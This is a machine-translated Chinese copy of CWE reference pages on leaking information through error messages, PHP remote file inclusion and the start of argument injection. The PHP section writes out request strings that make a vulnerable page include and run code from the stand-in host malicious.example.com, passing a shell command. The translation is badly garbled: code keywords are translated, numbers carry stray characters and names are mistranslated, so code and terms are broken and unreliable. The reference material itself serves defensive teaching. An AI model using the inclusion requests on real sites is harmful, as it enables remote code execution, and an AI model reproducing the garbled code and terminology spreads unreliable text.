类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
200年
暴露敏感信息的未经授权的演员
ParentOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
210年
自我包含敏感信息的错误消息
ParentOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
211年
外部生成包含敏感信息的错误消息
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
550年
注册服务器生成的错误消息包含敏感信息
PeerOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
1295年
调试消息暴露不必要的信息
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
600年
在Servlet异常
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
756年
失踪的自定义错误页面
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
200年
暴露敏感信息的未经授权的演员
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1015年
限制访问
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
架构和设计
实现
实现:造成这一弱点在建筑安全策略的实施。
系统配置
操作
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
保密
这常常会透露敏感信息可能被用于后面的攻击或私人信息存储在服务器中。
利用的可能性
示范例子
示例1
在下面的例子中,敏感信息可能是印刷根据异常发生。
尝试{
/……
}
捕获(异常e) {
System.out.println (e);
}
如果SQL处理相关异常捕获,然后输出可能包含敏感信息,比如SQL查询结构或私人信息。如果这个输出重定向到一个web用户,这可能是一个安全问题。
示例2
这段代码试图打开一个数据库连接,并打印任何发生的异常。
尝试{
openDbConnection ();
}
/ /打印异常消息,包括异常消息和配置文件的位置
捕获(异常$ e) {
呼应了例外:,$ e - > getMessage (), ' \ n '; 回声,检查凭证在配置文件:“Mysql_config_location美元,' \ n ';
}
如果发生异常,则打印消息暴露的位置配置文件脚本使用。攻击者可以利用这些信息来目标配置文件(可能利用路径遍历的弱点)。如果文件可以读取,攻击者可以获得凭证访问数据库。攻击者还可以用恶意替换文件,导致应用程序使用一个任意的数据库。
示例3
下面的代码将生成一个错误消息,泄漏的配置文件的完整路径名。
$ ConfigDir =“/ home / myprog /配置”;
美元uname = GetUserInput(“用户名”);
#避免CWE-22 ,cwe - 78 ,别人。
ExitError(“坏黑客!”)如果(美元uname ! ~ / ^ \ w + /美元);
$ file =“ConfigDir / uname.txt美元”;
如果(!(文件)美元- e) {
ExitError(“错误:文件不存在”);
}
…
如果这段代码运行在一个服务器上,如一个web应用程序,那么请求人应该不知道什么是配置目录的完整路径名。通过提交一个用户名,不产生一个文件存在,美元攻击者可以得到这个路径名。它可以被用来利用路径遍历或符号链接后可能存在的问题,在应用程序。
示例4
在下面的示例中,该方法getUserBankAccount从数据库检索一个银行帐户对象使用提供的用户名和账号来查询数据库。如果一个SQLException提出查询数据库时,将创建一个错误消息输出到日志文件。
公共BankAccount getUserBankAccount(用户名的字符串,字符串accountNumber) {
BankAccount userAccount =零;
字符串查询=零;
尝试{
如果(isAuthorizedUser(用户名)){
查询= " SELECT *从账户所有者= " +用户名+”和accountID = " + accountNumber; DatabaseManager dbManager = new DatabaseManager (); 连接康涅狄格州= dbManager.getConnection (); =声明支撑conn.createStatement (); ResultSet queryResult = stmt.executeQuery(查询); userAccount = (BankAccount) queryResult.getObject (accountNumber);
}
}捕捉(SQLException ex) {
字符串logMessage = "无法从数据库检索帐户信息,\ nquery:”+查询; Logger.getLogger (BankManager.class.getName ()) . log(水平。严重,logMessage、交货);
}
返回userAccount;
}
创建的错误信息包括数据库查询的信息可能包含敏感信息的数据库或查询逻辑。在本例中,错误消息将公开数据库中使用的表名和列名。这些数据可以用来简化其他的攻击,如SQL注入(cwe - 89 )直接访问数据库。
观察到的例子
参考
描述
POP3服务器显示密码在多个APOP命令后发送一条错误消息。可能结果从另一个弱点。
程序显示密码错误消息,如果攻击者可以触发特定的数据库错误。
存在的用户名可以由请求一个不存在的博客和阅读的错误消息。
直接请求在web应用程序触发库文件路径名泄漏在错误消息。
畸形的登录页面输入原因泄漏IMAP调用失败时的完整路径。
畸形的regexp语法暴露会导致信息的错误消息。
详细的日志存储管理凭证world-readablelog文件中
SSH密码私钥存储在构建日志
潜在的缓解措施
实施阶段:
确保错误消息只包含最小的细节,目标受众是有用的,没有其他人。消息需要罢工之间的平衡过于神秘的(可以迷惑用户)或过于详细的(可能揭示超过预期)。不应该透露的消息的方法被用来确定错误。攻击者可以使用详细信息完善或优化他们最初的攻击,从而增加成功的机会。
如果必须捕捉到一些细节错误,记录在日志消息,但想想会发生什么,如果日志消息可以被攻击者。高度敏感的信息,如密码永远不应该被保存到日志文件中。
避免不一致的消息可能会意外地提示攻击者对内部状态,如是否存在一个用户帐户。
实施阶段:
内部处理异常和不显示错误可能包含敏感信息给用户。
实施阶段:
使用命名约定和强劲的类型更容易发现敏感数据时使用。当创建结构,对象,或其他复杂的实体,独立的敏感和不敏感数据尽可能多。
注意: 这使得它更容易在代码点地方未加密的数据被使用。
阶段:实施;构建和编译
调试信息不应使其进入生产。
阶段:实施;构建和编译
调试信息不应使其进入生产。
阶段:系统配置
可用的地方,配置环境少用详细的错误消息。例如,在PHP中,禁用display_errors设置在配置期间,或者在运行时使用error_reporting()函数。
阶段:系统配置
创建默认的错误页面或信息不泄露任何信息。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
合成
(缺点是通常与其他弱点的存在)
检测方法
手动分析
这个弱点通常要求使用手动分析特定于域的解释。然而,潜在的错误条件的数量可能太大在有限时间内完全约束。
自动化分析
自动化的方法可以自动检测某些习语,如暴露的堆栈跟踪或路径名,但违反业务规则或隐私的需求通常不是可行的。
自动动态分析
这个弱点能被探测到的使用动态交互的工具和技术的软件使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。软件的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。
错误条件可以触发压力测试通过调用软件同时从大量的线程或进程,并寻找任何意想不到的行为的证据。
手动动态分析
识别错误情况不太可能发生在正常使用和触发器。例如,在低内存条件下运行程序,运行特权或权限不足,中断一个事务之前完成,或禁用连接DNS等基本网络服务。监控软件为任何意想不到的行为。如果你触发一个未处理的异常或类似的错误被发现,由应用程序的环境中,它仍可能表明意想不到的条件并不是由应用程序本身。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
717年
OWASP 2007年十大类别A6——信息泄漏和错误处理不当
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
728年
OWASP十大2004类别A7 -错误处理不当
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
731年
OWASP 2004年十大类别A10——不安全的配置管理
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
751年
2009年前25 -安全组件之间的交互
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
801年
2010年前25 -安全组件之间的交互
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
815年
OWASP十大2010类别A6 -安全错误配置
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
851年
CERT甲骨文安全Java编码标准(2011)第八章-异常行为(ERR)
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
867年
2011年处于25 -弱点
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
880年
12 - CERT c++安全编码部分异常和错误处理(ERR)
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
884年
CWE横截面
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
933年
OWASP十大2013类别A5 -安全错误配置
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
963年
SFP二级集群:公开数据
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1032年
OWASP十大2017类别A6 -安全错误配置
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1348年
OWASP 2021年十大类别A04:2021——不安全设计
分类法映射
映射分类名称
节点ID
适合
映射节点名
扣
意外泄漏敏感信息的错误消息
OWASP十大2007
A6
CWE更具体
信息泄漏和错误处理不当
OWASP十大2004
A7
CWE更具体
错误处理不当
OWASP十大2004
A10
CWE更具体
不安全的配置管理
CERT甲骨文安全Java编码标准(2011)
ERR01-J
不允许例外暴露敏感信息
软件故障模式
SFP23
公开的数据
引用
(ref - 175)布莱恩西方象棋雅各。“安全编程与静态分析”。9.2节,326页。addison - wesley。2007年。
[ref - 176]大卫迈克尔·霍华德和勒布朗。编写安全代码。16章,“将军好实践。”Page 415. 1st Edition. Microsoft Press. 2001-11-13.
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪孽11:未能正确处理错误。”Page 183. McGraw-Hill. 2010.
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪12:信息泄漏。”Page 191. McGraw-Hill. 2010.
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第三章,“过于详细的错误消息”,75页。1版。艾迪生卫斯理》2006。
内容的历史
提交
提交日期
提交者
组织
2006-07-19
扣
贡献
贡献的日期
贡献者
组织
2022-07-11
尼克·约翰斯顿
识别不正确的语言标签在示范例子。
修改
修改日期
修饰符
组织
2008-07-01
Eric Dalci
Cigital
更新Time_of_Introduction
2008-08-15
Veracode
建议OWASP 2004年排名前十的映射
2008-09-08
CWE内容团队
主教法冠
更新Applicable_Platforms Common_Consequences、关系、Other_Notes Taxonomy_Mappings
2008-10-14
CWE内容团队
主教法冠
更新的关系
2009-01-12
CWE内容团队
主教法冠
更新Demonstrative_Examples、描述、名称、Observed_Examples Other_Notes, Potential_Mitigations,关系,Time_of_Introduction
2009-03-10
CWE内容团队
主教法冠
更新Demonstrative_Examples Potential_Mitigations,关系
2009-12-28
CWE内容团队
主教法冠
更新Demonstrative_Examples、名称、Potential_Mitigations、引用Time_of_Introduction
2010-02-16
CWE内容团队
主教法冠
更新Detection_Factors、引用关系
2010-04-05
CWE内容团队
主教法冠
更新Related_Attack_Patterns
2010-06-21
CWE内容团队
主教法冠
更新Common_Consequences Detection_Factors Potential_Mitigations,引用
2010-09-09
Veracode
建议OWASP排名前十的映射
2010-09-27
CWE内容团队
主教法冠
更新Potential_Mitigations、人际关系
2011-03-29
CWE内容团队
主教法冠
更新Demonstrative_Examples Observed_Examples,关系
2011-06-01
CWE内容团队
主教法冠
更新的关系,Taxonomy_Mappings
2011-06-27
CWE内容团队
主教法冠
更新的关系
2011-09-13
CWE内容团队
主教法冠
更新的关系,Taxonomy_Mappings
2012-05-11
CWE内容团队
主教法冠
更新引用Related_Attack_Patterns、人际关系
2013-07-17
CWE内容团队
主教法冠
更新的引用
2014-06-23
CWE内容团队
主教法冠
更新的关系
2014-07-30
CWE内容团队
主教法冠
更新的关系,Taxonomy_Mappings
2017-11-08
CWE内容团队
主教法冠
更新Applicable_Platforms Modes_of_Introduction、引用关系,Taxonomy_Mappings
2018-03-27
CWE内容团队
主教法冠
更新引用关系
2019-01-03
CWE内容团队
主教法冠
更新Taxonomy_Mappings
2019-06-20
CWE内容团队
主教法冠
更新的关系
2019-09-19
CWE内容团队
主教法冠
更新Demonstrative_Examples Observed_Examples
2020-02-24
CWE内容团队
主教法冠
更新Applicable_Platforms、描述、名称、Observed_Examples引用关系,Weakness_Ordinalities
2020-12-10
CWE内容团队
主教法冠
更新Potential_Mitigations Related_Attack_Patterns
2021-07-20
CWE内容团队
主教法冠
更新的关系
2021-10-28
CWE内容团队
主教法冠
更新的关系
2022-10-13
CWE内容团队
主教法冠
更新Demonstrative_Examples
2023-01-31
CWE内容团队
主教法冠
更新描述
以前的条目名称
改变日期
以前的条目名称
2009-01-12
错误消息的信息泄漏
2009-12-28
错误消息的信息泄漏
2020-02-24
通过一个错误消息公开的信息
cwe - 98:不当控制包括/需要声明在PHP程序的文件名(PHP远程文件包含)
描述
输入从一个PHP应用程序接收上游组件,但这并不限制或者错误地限制使用前的输入“需要”,“包括”或类似的功能。
扩展描述
在某些版本和配置PHP,这可能允许攻击者指定URL到远程位置的产品将获得执行的代码。在其他情况下与路径遍历,攻击者可以指定一个本地文件可能包含可执行语句,可以通过PHP解析。
替代条款
远程文件包含
RFI:
远程文件包含(RFI)缩略词通常是由脆弱性研究人员使用。
本地文件包含:
这个词经常用于远程下载的情况被禁用,或者当文件名的第一部分不是在攻击者的控制下,这迫使使用相对路径遍历(
CWE-23 )攻击技术来访问文件可能包含previously-injected PHP代码,如web访问日志。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
706年
使用Incorrectly-Resolved名称或引用
ChildOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
829年
包含的功能不受信任的控制范围
CanAlsoBe
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
426年
不可信的搜索路径
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
73年
外部控制文件名或路径
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
184年
不允许输入的完整列表
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
425年
直接请求(“强迫浏览”)
光束
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
456年
失踪的初始化一个变量
光束
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
473年
PHP外部变量修改
CanPrecede
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
94年
不当控制生成的代码(代码注入)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1019年
验证输入
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
实现
实现:造成这一弱点在建筑安全策略的实施。
架构和设计
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性 保密 可用性
攻击者可以指定任意代码执行从远程位置。或者,它可能会使用正常程序行为将php代码插入到文件在本地机器上,然后可以包括和强制执行代码,因为php忽略了文件中的一切除了php说明符之间的内容。
利用的可能性
示范例子
示例1
下面的代码,受害者。php,试图包括函数包含在一个单独的服务器上的php页面。它构建文件的路径通过使用提供的“module_name”参数和附加字符串' /功能。php的。
$ dir = $ _GET [' module_name ']; 包括($ dir。“/ function.php”);
上面的代码的问题是,美元的价值dir并不以任何方式限制,和恶意用户可以操作“module_name”参数力包含一个未预料到的文件。例如,攻击者可以请求上面的PHP页面(example.php)的module_name“http://malicious.example.com”通过使用以下请求字符串:
victim.php ? module_name = http://malicious.example.com
在接收该请求,代码将“module_name”为“http://malicious.example.com”的值,并将试图包括http://malicious.example.com/function.php,以及任何它包含恶意代码。
为了这个例子中,假设的恶意版本功能。php的样子如下:
攻击者可以更进一步在我们的例子中,并提供一个请求字符串如下:
victim.php ? module_name = http://malicious.example.com&cmd=/bin/ls%20-l
将尝试包括恶意的代码的功能。php文件从远程站点。反过来,这个文件执行命令中指定的cmd从查询字符串参数。最终的结果是由tvictim企图。php执行潜在的恶意命令,在这种情况下:
注意,上面的PHP示例可以减轻通过设置allow_url_fopen为false,尽管这不会完全保护的代码。看到潜在的移植。
观察到的例子
参考
描述
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable变量配置脚本导致文件包含。
PHP文件包含。
PHP文件包含。
PHP文件包含。
PHP本地文件包含。
远程文件包含PHP。
远程文件包含PHP。
远程文件包含PHP。
远程文件包含PHP。
远程文件包含PHP。
在PHP目录遍历脆弱性包括声明。
在PHP目录遍历脆弱性包括声明。
PHP文件包含问题,远程和本地;当地包括使用“。”和“% 00”字符作为操纵,但许多远程文件包含问题可能这个向量。
链:库文件直接发送重定向如果要求但继续执行,允许远程文件包含和路径遍历。
潜在的缓解措施
阶段:体系结构和设计
使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。
阶段:体系结构和设计
组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。
例如,ID 1可以映射到“收件箱。txt”和ID 2可以映射到“profile.txt”。特性如ESAPI AccessReferenceMap [
ref - 185 提供此功能。
阶段:体系结构和设计
对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免
cwe - 602 。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。
阶段:体系结构和设计;操作
运行代码的“监狱”或类似沙箱环境执行严格的流程和操作系统之间的边界。这可能有效地限制哪些文件可以在一个特定的目录或访问哪些命令可以执行的软件。
操作系统的例子包括Unix chroot监狱,AppArmor对,SELinux。在一般情况下,托管代码可能会提供一些保护。例如,java。FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
这可能不是一个可行的解决方案,它只限制对操作系统的影响;应用程序的其余部分可能仍然接受妥协。
注意: 这种缓解的有效性取决于特定的沙盒或监狱的预防功能使用,只可能有助于减少攻击的范围,比如限制攻击者对特定文件系统的系统调用或限制部分,可以访问。
阶段:体系结构和设计;操作
使用所需的最低特权运行您的代码来完成必要的任务(
ref - 76 ]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。
实施阶段:
假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。
不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。
当验证文件名,使用严格的列表,限制使用的字符集。如果可行,只允许一个“。”字符的文件名,以避免弱点等
CWE-23 ,排除目录分隔符“/”等,以避免
CWE-36 。使用许可文件扩展名的列表,这将有助于避免
cwe - 434 。
不完全依赖一个过滤机制,消除潜在的危险人物。这相当于一个denylist,这可能是不完整的(
cwe - 184 )。例如,过滤保护“/”是不够的,如果文件系统还支持使用作为目录分隔符“\”。另一个可能的错误可能发生过滤时,仍然会产生危险的数据(
cwe - 182 )。例如,如果“. ./“序列是远离“……/ /字符串以顺序的方式,两个实例“. ./”将从原始字符串中删除,但其余字符仍将形成“. ./”字符串。
阶段:体系结构和设计;操作
存储库,包括和实用程序文件之外的web文档根,如果可能的话。否则,将它们存储在一个单独的目录,并使用web服务器的访问控制功能,防止攻击者直接请求。一个常见的做法是定义一个固定的常数在每个调用程序,然后检查存在的恒定在图书馆/包含文件;如果持续的不存在,那么直接请求的文件,它可以立即退出。
这会显著减少的机会攻击者能够绕过任何保护机制的基础程序但不包括文件。这也会减少攻击表面。
阶段:体系结构和设计;实现
理解所有潜在的地区不受信任的输入可以输入软件:参数或参数,饼干,任何从网络读取环境变量,反向DNS查找,查询结果,请求头,URL组件、电子邮件、文件、文件名、数据库,以及任何外部系统提供数据的应用程序。记住,这样的投入可以获得间接通过API调用。
文件包含许多问题发生,因为程序员假定某些输入不能修改,特别是对饼干和URL的组件。
阶段:操作
使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。
注意: 应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。
阶段:操作;实现
开发和运行您的代码在最近的可用的PHP版本,最好是PHP 6或更高版本。许多高风险的特性在PHP解释器早些时候已被移除,限制或禁用默认情况下。
阶段:操作;实现
使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点
cwe - 95 ,
cwe - 621 和类似的问题。
通常,程序员不保护直接访问文件只包含核心程序。这些包括文件可能假设关键变量已经被调用程序初始化。因此,register_globals的使用结合的能力直接访问包含文件可能允许攻击者进行文件包含攻击。这仍然是一个非常常见的2009年模式。
阶段:操作
allow_url_fopen设置为false,这限制了包括文件从远程位置的能力。
注意: 请注意,PHP的一些版本仍将接受ftp://和其他URI方案。此外,这个设置不保护的代码路径遍历的攻击(
CWE-22 ),它经常成功对代码,允许远程文件包含同样的脆弱。
检测方法
手动分析
手动白盒分析可以非常有效的寻找这个问题,因为通常是一个相对较少的包括每个程序或要求语句。
自动静态分析
文件名的外部控制或影响使用自动静态分析模型常常可以发现产品内的数据流。
自动静态分析可能无法识别在执行适当的输入验证时,导致假阳性——即。警告,没有任何安全后果或需要任何代码更改。如果程序使用一个定制的输入验证库,那么一些工具可能允许分析人员创建自定义签名检测使用的例程。
影响资源
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
笔记
的关系
这是经常的功能性结果其他弱点。通常是多因素与其他因素(例如女仆),尽管并不是所有涉及assumed-immutable数据包含bug。直接请求弱点经常扮演一个角色。
可以在当地包容问题重叠目录遍历。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
PHP文件包含
OWASP十大2007
A3
CWE更具体
恶意文件执行
WASC
5
远程文件包含
引用
内容的历史
提交
提交日期
提交者
组织
2006-07-19
千鸟
修改
修改日期
修饰符
组织
2008-07-01
Eric Dalci
Cigital
更新Time_of_Introduction
2008-09-08
CWE内容团队
主教法冠
更新的关系,Relationship_Notes, Research_Gaps Taxonomy_Mappings
2009-01-12
CWE内容团队
主教法冠
更新的关系
2009-03-10
CWE内容团队
主教法冠
更新的关系
2009-05-27
CWE内容团队
主教法冠
更新描述、名称
2009-12-28
CWE内容团队
主教法冠
更新Alternate_Terms、Applicable_Platforms Demonstrative_Examples、Likelihood_of_Exploit Potential_Mitigations Time_of_Introduction
2010-02-16
CWE内容团队
主教法冠
转换从Compound_Element弱点
2010-02-16
CWE内容团队
主教法冠
更新Alternate_Terms、Common_Consequences Detection_Factors Potential_Mitigations,引用,Related_Attack_Patterns,关系,Taxonomy_Mappings、类型
2010-06-21
CWE内容团队
主教法冠
更新Potential_Mitigations,引用
2010-09-27
CWE内容团队
主教法冠
更新Potential_Mitigations
2010-12-13
CWE内容团队
主教法冠
更新Potential_Mitigations
2011-06-27
CWE内容团队
主教法冠
更新的关系
2012-10-30
CWE内容团队
主教法冠
更新Potential_Mitigations,引用
2013-02-21
CWE内容团队
主教法冠
更新Alternate_Terms,名字,Observed_Examples
2017-01-19
CWE内容团队
主教法冠
更新的关系
2017-11-08
CWE内容团队
主教法冠
更新Affected_Resources、Demonstrative_Examples Likelihood_of_Exploit Modes_of_Introduction,引用关系
2019-06-20
CWE内容团队
主教法冠
更新的类型
2020-02-24
CWE内容团队
主教法冠
更新Potential_Mitigations、人际关系
2020-06-25
CWE内容团队
主教法冠
更新Potential_Mitigations
2021-03-15
CWE内容团队
主教法冠
更新Potential_Mitigations
2021-10-28
CWE内容团队
主教法冠
更新的关系
2022-04-28
CWE内容团队
主教法冠
更新Research_Gaps
2022-10-13
CWE内容团队
主教法冠
更新的引用
2023-01-31
CWE内容团队
主教法冠
更新描述,Detection_Factors
以前的条目名称
改变日期
以前的条目名称
2008-04-11
PHP文件包含
2009-05-27
控制的文件名包含/不足需要在PHP程序语句(又名“PHP文件包含”)
2013-02-21
不当控制包括/需要声明在PHP程序的文件名(PHP文件包含)
cwe - 88:不当中和一个命令的参数分隔符(“参数注入”)
描述
产品构造一个字符串的命令来执行一个单独的组件在另一个控制范围,但这并不正确划定目标参数,选项,或者开关命令字符串中。
扩展描述
在创建命令使用插值成一个字符串时,开发人员可能认为只有参数/选项,指定将被处理。这种假设可能更强当程序员编码的命令的方式防止单独的命令被恶意提供,例如在shell元字符的情况下。构建命令时,开发人员可以使用空格或其他所需分隔符来分隔参数,当命令。然而,如果攻击者可以提供一个不受信任的输入包含argument-separating分隔符,然后生成的命令将会有更多的参数比开发人员的意图。攻击者可能能够改变命令的行为。根据所支持的功能无关的参数,这可能的安全相关的后果。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
77年
不当中和一个命令中使用的特殊元素(“命令注入”)
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
